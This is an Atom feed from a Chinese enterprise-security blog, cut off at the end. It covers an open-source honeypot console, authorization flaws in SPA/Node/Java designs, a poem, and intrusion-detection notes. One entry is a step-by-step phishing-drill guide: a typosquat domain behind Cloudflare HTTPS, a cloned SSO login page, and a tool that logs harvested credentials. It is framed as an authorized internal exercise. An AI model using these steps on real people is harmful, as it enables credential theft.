      <category term="蜜罐" scheme="http://pirogue.org/tags/%E8%9C%9C%E7%BD%90/"/>
    
      <category term="开源" scheme="http://pirogue.org/tags/%E5%BC%80%E6%BA%90/"/>
    
      <category term="opencanary" scheme="http://pirogue.org/tags/opencanary/"/>
    
      <category term="二次开发" scheme="http://pirogue.org/tags/%E4%BA%8C%E6%AC%A1%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>蜜罐正式开源-简单易用-支持16种协议</title>
    <link href="http://pirogue.org/2019/01/09/opencanary_1/"/>
    <id>http://pirogue.org/2019/01/09/opencanary_1/</id>
    <published>2019-01-09T11:10:38.000Z</published>
    <updated>2019-01-09T11:13:42.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、web服务端介绍"><a href="#一、web服务端介绍" class="headerlink" title="一、web服务端介绍"></a>一、web服务端介绍</h2><p>Tornado+Vue+Mysql+APScheduler+Nginx+Supervisor</p><h3 id="1-架构图"><a href="#1-架构图" class="headerlink" title="1. 架构图"></a>1. 架构图</h3><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/honeypot.png" alt="架构图"></p><h3 id="2-功能展示"><a href="#2-功能展示" class="headerlink" title="2. 功能展示"></a>2. 功能展示</h3><h4 id="2-1-登录页面"><a href="#2-1-登录页面" class="headerlink" title="2.1 登录页面"></a>2.1 登录页面</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/login.png" alt="登录页面"></p><h4 id="2-2-仪表盘"><a href="#2-2-仪表盘" class="headerlink" title="2.2 仪表盘"></a>2.2 仪表盘</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/dashboard.png" alt="仪表盘"></p><h4 id="2-3-主机状态"><a href="#2-3-主机状态" class="headerlink" title="2.3 主机状态"></a>2.3 主机状态</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/hoststatus.png" alt="主机状态"></p><h4 id="2-4-攻击列表"><a href="#2-4-攻击列表" class="headerlink" title="2.4 攻击列表"></a>2.4 攻击列表</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/attacklist.png" alt="攻击列表"></p><h4 id="2-5-过滤列表"><a href="#2-5-过滤列表" class="headerlink" title="2.5 过滤列表"></a>2.5 过滤列表</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/filterlist.png" alt="过滤列表"></p><h4 id="2-6-邮件配置"><a href="#2-6-邮件配置" class="headerlink" title="2.6 邮件配置"></a>2.6 邮件配置</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/mailconf.png" alt="邮件配置"></p><h4 id="2-7-白名单ip"><a href="#2-7-白名单ip" class="headerlink" title="2.7 白名单ip"></a>2.7 白名单ip</h4><p><img src="https://raw.githubusercontent.com/p1r06u3/opencanary_web/master/docs/images/whiteiplist.png" alt="白名单ip"></p><h2 id="二、安装方式"><a href="#二、安装方式" class="headerlink" title="二、安装方式"></a>二、安装方式</h2><p>可以选择通过脚本自动化安装，也可以选择手工安装。</p><h3 id="1-自动化安装"><a href="#1-自动化安装" class="headerlink" title="1. 自动化安装"></a>1. 自动化安装</h3><ul><li><a href="https://github.com/p1r06u3/opencanary_web/blob/master/docs/install/Linux_AutoInstall.md" target="_blank" rel="noopener">更省心省力的自动化安装方式</a></li></ul><h3 id="2-手工安装"><a href="#2-手工安装" class="headerlink" title="2. 手工安装"></a>2. 手工安装</h3><ul><li><a href="https://github.com/p1r06u3/opencanary_web/blob/master/docs/install/Manual_Installation.md" target="_blank" rel="noopener">让你更了解蜜罐的手工安装方式</a></li></ul><h3 id="3-一些使用说明"><a href="#3-一些使用说明" class="headerlink" title="3. 一些使用说明"></a>3. 一些使用说明</h3><ul><li><a href="https://github.com/p1r06u3/opencanary_web/blob/master/docs/install/Document.md" target="_blank" rel="noopener">后台和客户端的一些使用说明</a></li></ul><h2 id="三、后台可统计的信息"><a href="#三、后台可统计的信息" class="headerlink" title="三、后台可统计的信息"></a>三、后台可统计的信息</h2><ol><li>ftp登录尝试；</li><li>http访问请求；</li><li>http登录请求；</li><li>ssh建立连接；</li><li>ssh远程版本发送；</li><li>ssh登录尝试；</li><li>telnet登录尝试；</li><li>全端口(SYN)扫描识别;</li><li>NMAP OS扫描识别；</li><li>NMAP NULL扫描识别；</li><li>NMAP XMAS扫描识别；</li><li>NMAP FIN扫描识别；</li><li>mysql登录尝试；</li><li>git clone请求；</li><li>ntp monlist请求（默认关闭）；</li><li>redis命令请求；</li><li>TCP连接请求；</li><li>vnc连接请求；</li><li>rdp协议windows远程登录；</li><li>snmp扫描；</li><li>sip请求；</li><li>mssql登录sql账户认证；</li><li>mssql登录win身份认证；</li><li>http代理登录尝试；</li></ol><h2 id="四、项目致谢"><a href="#四、项目致谢" class="headerlink" title="四、项目致谢"></a>四、项目致谢</h2><ol><li><p><strong>Thinkst Applied Research</strong></p></li><li><p><strong>天使用户群和开源贡献者</strong>：</p><p> @Weiho @kafka @Pa5sw0rd @Cotton @Aa.Kay @冷白开 @YongShao @Lemon</p></li></ol><h2 id="五、报告问题"><a href="#五、报告问题" class="headerlink" title="五、报告问题"></a>五、报告问题</h2><p>在使用过程当中出现任何问题，请点击<a href="https://github.com/p1r06u3/opencanary_web/issues/new" target="_blank" rel="noopener">这里</a>反馈</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;一、web服务端介绍&quot;&gt;&lt;a href=&quot;#一、web服务端介绍&quot; class=&quot;headerlink&quot; title=&quot;一、web服务端介绍&quot;&gt;&lt;/a&gt;一、web服务端介绍&lt;/h2&gt;&lt;p&gt;Tornado+Vue+Mysql+APScheduler+Nginx+Su
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="蜜罐" scheme="http://pirogue.org/tags/%E8%9C%9C%E7%BD%90/"/>
    
      <category term="开源" scheme="http://pirogue.org/tags/%E5%BC%80%E6%BA%90/"/>
    
      <category term="opencanary" scheme="http://pirogue.org/tags/opencanary/"/>
    
  </entry>
  
  <entry>
    <title>前后端分离开发风险浅析</title>
    <link href="http://pirogue.org/2018/12/17/SPA/"/>
    <id>http://pirogue.org/2018/12/17/SPA/</id>
    <published>2018-12-17T12:39:48.000Z</published>
    <updated>2018-12-17T13:34:57.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-什么是前后端分离"><a href="#1-什么是前后端分离" class="headerlink" title="1. 什么是前后端分离"></a>1. 什么是前后端分离</h2><p><strong>从职责上区分：</strong><br>负责交互与展示的部分为前端；<br>负责提供数据，处理业务的部分为后端。<br>核心思想是前端html页面通过ajax调用后端的restuful api接口并使用json数据进行交互。</p><h2 id="2-前后端分离架构的优势"><a href="#2-前后端分离架构的优势" class="headerlink" title="2. 前后端分离架构的优势"></a>2. 前后端分离架构的优势</h2><p>1）<strong>提高工作效率，分工更加明确</strong><br>前端只关注前端的事，后端只关心后端的活，两者开发可以同时进行。在后端还没有提供接口的时候，前端可以先通过Mock的方式模拟接口数据。页面的增加和路由的修改也不必再去麻烦后端，页面模板可以重复使用，开发更加灵活。<br>2）<strong>性能提升</strong><br>前端页面可以按需加载，服务器也不需要解析前端页面，在页面交互及用户体验上有所提升。<br>3）<strong>降低维护成本</strong><br>页面的调试不再需要后端人员的参与，可以非常快速的定位及发现问题所在，代码重构及可维护性增强。</p><blockquote><p>推荐看一下这篇文章：<a href="http://taobaofed.org/blog/2014/04/05/practice-of-separation-of-front-end-from-back-end/" target="_blank" rel="noopener">《前后端分离的思考与实践（一）》</a>，淘宝前端团队从开发角度详细阐释大厂在业务开发中使用前后端分离架构带来的优势，以及为何在前端技术栈要引入Node层。<br>下面我们就基于SPA+Node+JAVA的架构去聊一下前后端分离中可能存在的安全风险。</p></blockquote><a id="more"></a><h2 id="3-安全风险分析"><a href="#3-安全风险分析" class="headerlink" title="3. 安全风险分析"></a>3. 安全风险分析</h2><h3 id="3-1-技术架构"><a href="#3-1-技术架构" class="headerlink" title="3.1 技术架构"></a>3.1 技术架构</h3><p><img src="/2018/12/17/SPA/spa-architecture.png" alt="spa_distributed"><br>我们从图中可以看到前端工程师负责的静态资源和Node中间层部分开发和后端工程师负责的后端Server业务逻辑的开发。<br>②当用户携带token和请求业务单号applyNo，向Node.js Server请求，③④Node中间层通过thrift协议将token在用户中心验证并解析取出userid，⑤Node.js Server将userid与业务单号applyNo发送给后端，⑥后端根据传入的userid和业务单号applyNo进行业务逻辑，⑦返回数据。</p><h3 id="3-2-越权漏洞的发生"><a href="#3-2-越权漏洞的发生" class="headerlink" title="3.2 越权漏洞的发生"></a>3.2 越权漏洞的发生</h3><h4 id="3-2-1-参数归属校验缺失"><a href="#3-2-1-参数归属校验缺失" class="headerlink" title="3.2.1 参数归属校验缺失"></a>3.2.1 参数归属校验缺失</h4><p>后端没有校验前端传入的参数是否归属于当前登录用户：因为在第②步中前端的请求暴露在公网中可以任意请求和篡改的，例如我可以请求applyNo=123，也可以请求applyNo=456；虽然前端在第③④步中做了鉴权，并向后端发送了userid，但后端常常没有用到userid（缺少第⑥步中绿色部分），而是在业务逻辑中直接用applyNo进行业务逻辑并返回；这时候攻击者就可以构造大量applyNo请求，越权查询其他人敏感信息。</p><h4 id="3-2-2-直接请求后端接口"><a href="#3-2-2-直接请求后端接口" class="headerlink" title="3.2.2 直接请求后端接口"></a>3.2.2 直接请求后端接口</h4><p>从图中我们可知，攻击者也可以绕过Node.js Server层，直接向后端Server接口进行请求。即使在做了数据归属校验的情况下，如果直接向后端构造大量userid和applyNo请求，遍历两个参数，也可能造成大量敏感信息泄漏，只不过攻击成本高了许多。</p><h4 id="3-2-3-前端框架引入的风险"><a href="#3-2-3-前端框架引入的风险" class="headerlink" title="3.2.3 前端框架引入的风险"></a>3.2.3 前端框架引入的风险</h4><p>在我们发现的漏洞案例中，因为前端框架Vue的路由配置模式“#”，而产生的不可预期的高危漏洞风险。<br>在vue的路由配置中有mode选项，最直观的区别就是在url中 hash 带了一个 # 而history模式是没有#的：<br><strong>hash mode</strong>：<br><img src="/2018/12/17/SPA/hash-model.png" alt="hash-model"><br><strong>history mode</strong>:<br><img src="/2018/12/17/SPA/history-model.png" alt="history-model"><br>而恰恰是因为这个#，导致前端先加载SPA单页应用的index.html可以浏览到后台dashboard等菜单，通过#的锚链接去路由各个前端界面，在浏览单页触发后端接口调用时发现登录态失效才会跳转到首页。<br>攻击者就会通过forexample.com/#/加载单页前端界面，偷窥web管理后台的相关界面和功能，会存在如下图中的情况：<br><img src="/2018/12/17/SPA/router.png" alt="router"><br>原则上前端路由即使可以偷窥后台静态资源，也无法获取后端敏感数据，但在实际情况中后端某些接口疏忽了鉴权(例如上图中的/api/host)导致了敏感信息泄露。<br>我们应在加载index.html单页前进行鉴权，防止类似的事情发生。</p><h2 id="4-解决方案"><a href="#4-解决方案" class="headerlink" title="4. 解决方案"></a>4. 解决方案</h2><ul><li>前端后端一起鉴权，Node层校验登录态，后端校验登录态，同时后端校验数据归属；</li><li>Vue-router使用“mode: history”模式，前后端一起配合鉴权。<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">new</span> Router(&#123;</span><br><span class="line">    mode: <span class="string">'history'</span>,</span><br><span class="line">    base: <span class="string">'c'</span>,</span><br><span class="line">    routes: [</span><br><span class="line">        &#123;</span><br><span class="line">            path: <span class="string">'/'</span>,</span><br><span class="line">            <span class="comment">// redirect: '/dashboard'</span></span><br><span class="line">            redirect: <span class="string">'/dashboard'</span></span><br><span class="line"></span><br><span class="line">        &#125;,</span><br><span class="line">      ......</span><br></pre></td></tr></table></figure></li></ul><h2 id="5-参考链接"><a href="#5-参考链接" class="headerlink" title="5. 参考链接"></a>5. 参考链接</h2><p><a href="https://www.jb51.net/article/144341.htm" target="_blank" rel="noopener">Vue-router 中hash模式和history模式的区别</a><br><a href="http://taobaofed.org/blog/2014/04/05/practice-of-separation-of-front-end-from-back-end/" target="_blank" rel="noopener">前后端分离的思考与实践（一）</a></p><h2 id="6-致谢"><a href="#6-致谢" class="headerlink" title="6. 致谢"></a>6. 致谢</h2><p>感谢团队小伙伴对问题的探讨和开发实践。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;1-什么是前后端分离&quot;&gt;&lt;a href=&quot;#1-什么是前后端分离&quot; class=&quot;headerlink&quot; title=&quot;1. 什么是前后端分离&quot;&gt;&lt;/a&gt;1. 什么是前后端分离&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;从职责上区分：&lt;/strong&gt;&lt;br&gt;负责交互与展示的部分为前端；&lt;br&gt;负责提供数据，处理业务的部分为后端。&lt;br&gt;核心思想是前端html页面通过ajax调用后端的restuful api接口并使用json数据进行交互。&lt;/p&gt;
&lt;h2 id=&quot;2-前后端分离架构的优势&quot;&gt;&lt;a href=&quot;#2-前后端分离架构的优势&quot; class=&quot;headerlink&quot; title=&quot;2. 前后端分离架构的优势&quot;&gt;&lt;/a&gt;2. 前后端分离架构的优势&lt;/h2&gt;&lt;p&gt;1）&lt;strong&gt;提高工作效率，分工更加明确&lt;/strong&gt;&lt;br&gt;前端只关注前端的事，后端只关心后端的活，两者开发可以同时进行。在后端还没有提供接口的时候，前端可以先通过Mock的方式模拟接口数据。页面的增加和路由的修改也不必再去麻烦后端，页面模板可以重复使用，开发更加灵活。&lt;br&gt;2）&lt;strong&gt;性能提升&lt;/strong&gt;&lt;br&gt;前端页面可以按需加载，服务器也不需要解析前端页面，在页面交互及用户体验上有所提升。&lt;br&gt;3）&lt;strong&gt;降低维护成本&lt;/strong&gt;&lt;br&gt;页面的调试不再需要后端人员的参与，可以非常快速的定位及发现问题所在，代码重构及可维护性增强。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;推荐看一下这篇文章：&lt;a href=&quot;http://taobaofed.org/blog/2014/04/05/practice-of-separation-of-front-end-from-back-end/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;《前后端分离的思考与实践（一）》&lt;/a&gt;，淘宝前端团队从开发角度详细阐释大厂在业务开发中使用前后端分离架构带来的优势，以及为何在前端技术栈要引入Node层。&lt;br&gt;下面我们就基于SPA+Node+JAVA的架构去聊一下前后端分离中可能存在的安全风险。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="前后端分离" scheme="http://pirogue.org/tags/%E5%89%8D%E5%90%8E%E7%AB%AF%E5%88%86%E7%A6%BB/"/>
    
      <category term="开发" scheme="http://pirogue.org/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="架构" scheme="http://pirogue.org/tags/%E6%9E%B6%E6%9E%84/"/>
    
  </entry>
  
  <entry>
    <title>异地恋</title>
    <link href="http://pirogue.org/2018/12/14/%E5%BC%82%E5%9C%B0%E6%81%8B/"/>
    <id>http://pirogue.org/2018/12/14/异地恋/</id>
    <published>2018-12-14T12:14:26.000Z</published>
    <updated>2018-12-17T11:20:26.000Z</updated>
    
    <content type="html"><![CDATA[<p>偌大的北京，</p><p>也只有花梨坎到望京的两点一线。</p><p>红酒杯们前呼后拥挤上，</p><p>疾驶也追不上的时间。</p><p>你有你的年份，</p><p>她有她的澄澈，</p><p>焦急地待人品鉴。</p><p>在雾霭中，</p><p>我挥发着心跳，</p><p>只想与这里一切道别。</p><p>终于，</p><p>我盼到每个周五，</p><p>火车票上那小小的蓝天。</p><p>日子虽慢，</p><p>道阻且长，</p><p>我极力褪去一身碎玻璃片。</p><p>请紧紧的抱着我，</p><p>这个回到你身边的小火炉铁。</p><p>我会伴你走过春夏秋冬，</p><p>迎接我们的小葡萄叶。</p><pre><code>————献给我挚爱的妻子，女本柔弱，为母则刚。</code></pre><a id="more"></a>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;偌大的北京，&lt;/p&gt;
&lt;p&gt;也只有花梨坎到望京的两点一线。&lt;/p&gt;
&lt;p&gt;红酒杯们前呼后拥挤上，&lt;/p&gt;
&lt;p&gt;疾驶也追不上的时间。&lt;/p&gt;
&lt;p&gt;你有你的年份，&lt;/p&gt;
&lt;p&gt;她有她的澄澈，&lt;/p&gt;
&lt;p&gt;焦急地待人品鉴。&lt;/p&gt;
&lt;p&gt;在雾霭中，&lt;/p&gt;
&lt;p&gt;我挥发着心跳，&lt;/p&gt;
&lt;p&gt;只想与这里一切道别。&lt;/p&gt;
&lt;p&gt;终于，&lt;/p&gt;
&lt;p&gt;我盼到每个周五，&lt;/p&gt;
&lt;p&gt;火车票上那小小的蓝天。&lt;/p&gt;
&lt;p&gt;日子虽慢，&lt;/p&gt;
&lt;p&gt;道阻且长，&lt;/p&gt;
&lt;p&gt;我极力褪去一身碎玻璃片。&lt;/p&gt;
&lt;p&gt;请紧紧的抱着我，&lt;/p&gt;
&lt;p&gt;这个回到你身边的小火炉铁。&lt;/p&gt;
&lt;p&gt;我会伴你走过春夏秋冬，&lt;/p&gt;
&lt;p&gt;迎接我们的小葡萄叶。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;————献给我挚爱的妻子，女本柔弱，为母则刚。
&lt;/code&gt;&lt;/pre&gt;
    
    </summary>
    
      <category term="诗和远方" scheme="http://pirogue.org/categories/%E8%AF%97%E5%92%8C%E8%BF%9C%E6%96%B9/"/>
    
    
      <category term="诗歌" scheme="http://pirogue.org/tags/%E8%AF%97%E6%AD%8C/"/>
    
  </entry>
  
  <entry>
    <title>甲方企业安全建设之钓鱼实践的一种姿势</title>
    <link href="http://pirogue.org/2018/06/26/phishing/"/>
    <id>http://pirogue.org/2018/06/26/phishing/</id>
    <published>2018-06-26T10:45:00.000Z</published>
    <updated>2018-06-26T11:26:52.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="效果图"><a href="#效果图" class="headerlink" title="效果图"></a>效果图</h2><p><img src="/2018/06/26/phishing/phshingmail.png" alt="phishing"></p><ul><li>效果图里是某公司的sso登录页，Chrome下同时显示的效果也是https;</li></ul><p><img src="/2018/06/26/phishing/phishinghit.jpeg" alt="phishing"></p><ul><li>欢乐的气氛下，其实大部分不是做安全的小伙伴并不知道为什么自己会中招。</li></ul><h2 id="原理和步骤"><a href="#原理和步骤" class="headerlink" title="原理和步骤"></a>原理和步骤</h2><p>假设阿里巴巴的公司重要的系统入口是 login.alibaba-inc.com，那你就可以注册一个非常具有迷惑性的域名，例如 alibaba-cin.com。通过cloudflare启用一个login的二级域名，并配置https，然后开发一个一模一样的登录页面就可以进行钓鱼实践了。</p><h3 id="1-注册域名并修改托管dns"><a href="#1-注册域名并修改托管dns" class="headerlink" title="1. 注册域名并修改托管dns"></a>1. 注册域名并修改托管dns</h3><p>首先注册好的钓鱼网站域名： alibaba-cin.com<br><img src="/2018/06/26/phishing/pidomain.jpeg" alt="pidomain"></p><p>注册cloudflare账号，并把 alibaba-cin.com 进行网站添加<br><img src="/2018/06/26/phishing/adddomain.jpg" alt="pidomain"></p><p>输入购买的域名，Add Site<br><img src="/2018/06/26/phishing/adddomain-1.jpg" alt="pidomain"></p><p>Next，下一步<br><img src="/2018/06/26/phishing/adddomain-2.jpg" alt="pidomain"></p><p>选择免费的方案, Confirm Plan<br><img src="/2018/06/26/phishing/adddomain-3.jpg" alt="pidomain"></p><p>进行0$支付吧，Purchase<br><img src="/2018/06/26/phishing/adddomain-4.jpg" alt="pidomain"></p><p>进行dns查询等待<br><img src="/2018/06/26/phishing/adddomain-5.jpg" alt="pidomain"></p><p>cloudflare扫描你的域名，发现并没有修改成cloudflare的dns，所以检查失败，<br>这时后点击下方的continue<br><img src="/2018/06/26/phishing/adddomain-6.jpg" alt="pidomain"></p><p>cloudflare给出提示，你需要把他给定的两个dns拿到域名商的dns处进行修改<br><img src="/2018/06/26/phishing/adddomain-7.jpg" alt="pidomain"></p><p>域名商处修改成cloudflare的dns，并确定修改<br><img src="/2018/06/26/phishing/adddomain-8.jpg" alt="pidomain"></p><p>修改成功等待几分钟就生效了，刷新页面看一下<br><img src="/2018/06/26/phishing/adddomain-9.jpg" alt="pidomain"></p><h3 id="2-添加子域名A记录"><a href="#2-添加子域名A记录" class="headerlink" title="2. 添加子域名A记录"></a>2. 添加子域名A记录</h3><p>在cf面板dns管理界面，添加A记录<br><img src="/2018/06/26/phishing/arecord.jpg" alt="pidomain"></p><p>将ip地址指向你的公网web服务器ip（图中为演示，随意填写的ip）</p><h3 id="3-配置单向SSL加密（https）"><a href="#3-配置单向SSL加密（https）" class="headerlink" title="3. 配置单向SSL加密（https）"></a>3. 配置单向SSL加密（https）</h3><p>选择Crypto设置中的Flexible选项<br><img src="/2018/06/26/phishing/phishingssl.jpg" alt="phishingssl"></p><p>将下面的总是使用https选项打开<br><img src="/2018/06/26/phishing/always.jpg" alt="alwayshttps"></p><p>将下面的自动https重写选项打开<br><img src="/2018/06/26/phishing/auto.jpg" alt="autohttps"></p><blockquote><p>至此我们已经配置好钓鱼的登录域名，开启https选项，加强迷惑性。</p></blockquote><h3 id="4-钓鱼网站编码"><a href="#4-钓鱼网站编码" class="headerlink" title="4. 钓鱼网站编码"></a>4. 钓鱼网站编码</h3><p>我们在针对公司进行钓鱼演戏时，并不需要真正开发一套账户体系，只是需要写一个一模一样登录界面，后端接收登录提交的post请求数据即可。</p><p>我们浏览器打开需要克隆的目标站，右键源代码把静态html全部复制出来，保存到index.html。<br><img src="/2018/06/26/phishing/targetdomain.jpg" alt="phishingtarget"></p><p>打开页面会发现乱码，很多资源加载不出来<br><img src="/2018/06/26/phishing/targetdomain-1.jpg" alt="phishingtarget"></p><p>那是因为我们右键源代码复制出来的html里面有很多相对路径，相对路径的资源引用的是目标站的网站路径。我们需要把这种相对路径的资源全部引用目标站的链接，比如/css/bootstrap.min.css改成<a href="https://sso.yunxxxxx.com/css/bootstrap.min.css。" target="_blank" rel="noopener">https://sso.yunxxxxx.com/css/bootstrap.min.css。</a></p><p>前端html如何将内容post到后端web框架呢？</p><ul><li>学习一种web框架将目标页面的表单或关键链接替换成我们后端自己的路由；</li><li>可能你的目标站的post登录是通过ajax事件向相对路径post数据，这时你只需要把第4步中改好的html替换我的源代码中的index.html即可。</li></ul><blockquote><p>旧Kali Linux 中有一个社工工具setoolkit，我尝试过自动生成的目标站钓鱼页面效果不是太好。这是因为目标站的首页的资源复杂，自动生成钓鱼网站的工具比较难实现完美的克隆并与服务器端交互。所以需要自己有一些coding的能力。</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">application.py          - 网站配置文件</span><br><span class="line"></span><br><span class="line">url.py                  - 网站路由规则</span><br><span class="line"></span><br><span class="line">handlers/login.py       - 登录接收数据的逻辑</span><br><span class="line"></span><br><span class="line">server.py               - 网站启动文件，启动端口就在这个文件的21行修改</span><br><span class="line"></span><br><span class="line">templates/index.html    - 模板文件，该文件是需要你重点替换和修改的静态页</span><br><span class="line"></span><br><span class="line">fish.txt                - 接收到的登录用户名和密码的本地文件</span><br><span class="line"></span><br><span class="line">logs                    - 日志目录</span><br></pre></td></tr></table></figure><h2 id="注意事项和有意思的事情"><a href="#注意事项和有意思的事情" class="headerlink" title="注意事项和有意思的事情"></a>注意事项和有意思的事情</h2><ul><li><p>钓鱼一定要跟公司的上层领导做好沟通，并取得同意支持，不要任性，可能…会被xx。</p></li><li><p>如果你注册的域名足够巧妙，会取得意想不到的成果：举个例子，当时我注册了一个前公司钓鱼网站的域名，搭建在公网上，并没有做任何事情，神奇的事情发生了。一个周内，我并没有宣传，也没有向外散播，好几个公司同事自投罗网。分析发现，因为注册的域名在手机或电脑上很容易敲错其中的一个字母，比如yun，敲成yum，而且频率较高的部门比较固定为某一类。为了避免不必要的误会，我已经将钓鱼网站域名免费转给了前公司安全的小伙伴。</p></li><li><p>这招应该对大厂比较管用，员工的基数大，躺着收密码，但要向官方问清楚是否可以采取钓鱼的方式进行；</p></li><li><p>源码中的index.html我已经把前公司资源的链接换成了不存在的地址，打开后会乱码，因为并不想让前公司当成靶子。</p></li><li><p>不要乱搞，你应该购买域名隐私保护。</p></li><li><p>有喜欢挖洞的小伙伴经常找不到https的xss平台，用cloudflare来搭建自己的https xss平台吧，我已经试过了。</p></li></ul><p>微信公众号内没有内容，关注与我在后台进行交流：</p><p><img src="/2018/06/26/phishing/pirogue.jpg" alt="pirogue"></p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p>Git: <a href="https://github.com/p1r06u3/phishing" target="_blank" rel="noopener">https://github.com/p1r06u3/phishing</a></p><ul><li><p>一个python依赖库：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install tornado</span><br></pre></td></tr></table></figure></li><li><p>一行命令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">python server.py</span><br><span class="line"></span><br><span class="line">或者后台运行</span><br><span class="line"></span><br><span class="line">nohup python server.py &amp;</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;效果图&quot;&gt;&lt;a href=&quot;#效果图&quot; class=&quot;headerlink&quot; title=&quot;效果图&quot;&gt;&lt;/a&gt;效果图&lt;/h2&gt;&lt;p&gt;&lt;img src=&quot;/2018/06/26/phishing/phshingmail.png&quot; alt=&quot;phishing&quot;&gt;&lt;/p
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="Phishing" scheme="http://pirogue.org/tags/Phishing/"/>
    
      <category term="钓鱼" scheme="http://pirogue.org/tags/%E9%92%93%E9%B1%BC/"/>
    
  </entry>
  
  <entry>
    <title>驭龙hids入侵检测功能初探</title>
    <link href="http://pirogue.org/2018/04/20/yulong-hids/"/>
    <id>http://pirogue.org/2018/04/20/yulong-hids/</id>
    <published>2018-04-20T08:37:16.000Z</published>
    <updated>2020-11-07T08:07:40.192Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、进程实时监控"><a href="#一、进程实时监控" class="headerlink" title="一、进程实时监控"></a>一、进程实时监控</h2><p>通过hook技术在windows和Linux操作系统的ring0级别进行监控进程和命令执行。</p><p>Windows：</p><p>NT式驱动服务开机自启动：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services</p><p>net start pro</p><h2 id="二、网络链接实时监控"><a href="#二、网络链接实时监控" class="headerlink" title="二、网络链接实时监控"></a>二、网络链接实时监控</h2><p>通过pcap(gopcap)进行对网络链接进行实时抓包。</p><p>Windows：装WinPcap</p><p>Linux：装libpcap</p><h2 id="三、文件操作实时监控"><a href="#三、文件操作实时监控" class="headerlink" title="三、文件操作实时监控"></a>三、文件操作实时监控</h2><p>通过inotify（fsnotify）监控磁盘文件变化。</p><h2 id="四、ES索引类型字段"><a href="#四、ES索引类型字段" class="headerlink" title="四、ES索引类型字段"></a>四、ES索引类型字段</h2><p>索引：monitor2018_04</p><p>类型：connection、file、loginlog、process</p><p>字段：data.action、data.command、data.dir、data.hash、data.hostname、data.info、data.local、data.name、data.parentname、data.path、data.pid、data.ppid、data.protocol、data.remote、data.status、data.user、data.username、ip、time</p><p>举例：</p><table><thead><tr><th>_index</th><th style="text-align:center">_type</th><th style="text-align:center">_id</th><th style="text-align:center">_score</th><th style="text-align:center">ip</th><th style="text-align:center">data.remote</th><th style="text-align:center">data.status</th><th style="text-align:center">data.username</th><th style="text-align:center">time</th><th style="text-align:center">data.dir</th><th style="text-align:center">data.local</th><th style="text-align:center">data.name</th><th style="text-align:center">data.pid</th><th style="text-align:center">data.protocol</th><th style="text-align:center">data.action</th><th style="text-align:center">data.hash</th><th style="text-align:center">data.path</th><th style="text-align:center">data.user</th><th style="text-align:center">data.command</th><th style="text-align:center">data.info</th><th style="text-align:center">data.parentname</th><th style="text-align:right">data.ppid</th></tr></thead><tbody><tr><td>monitor2018_04</td><td style="text-align:center">loginlog</td><td 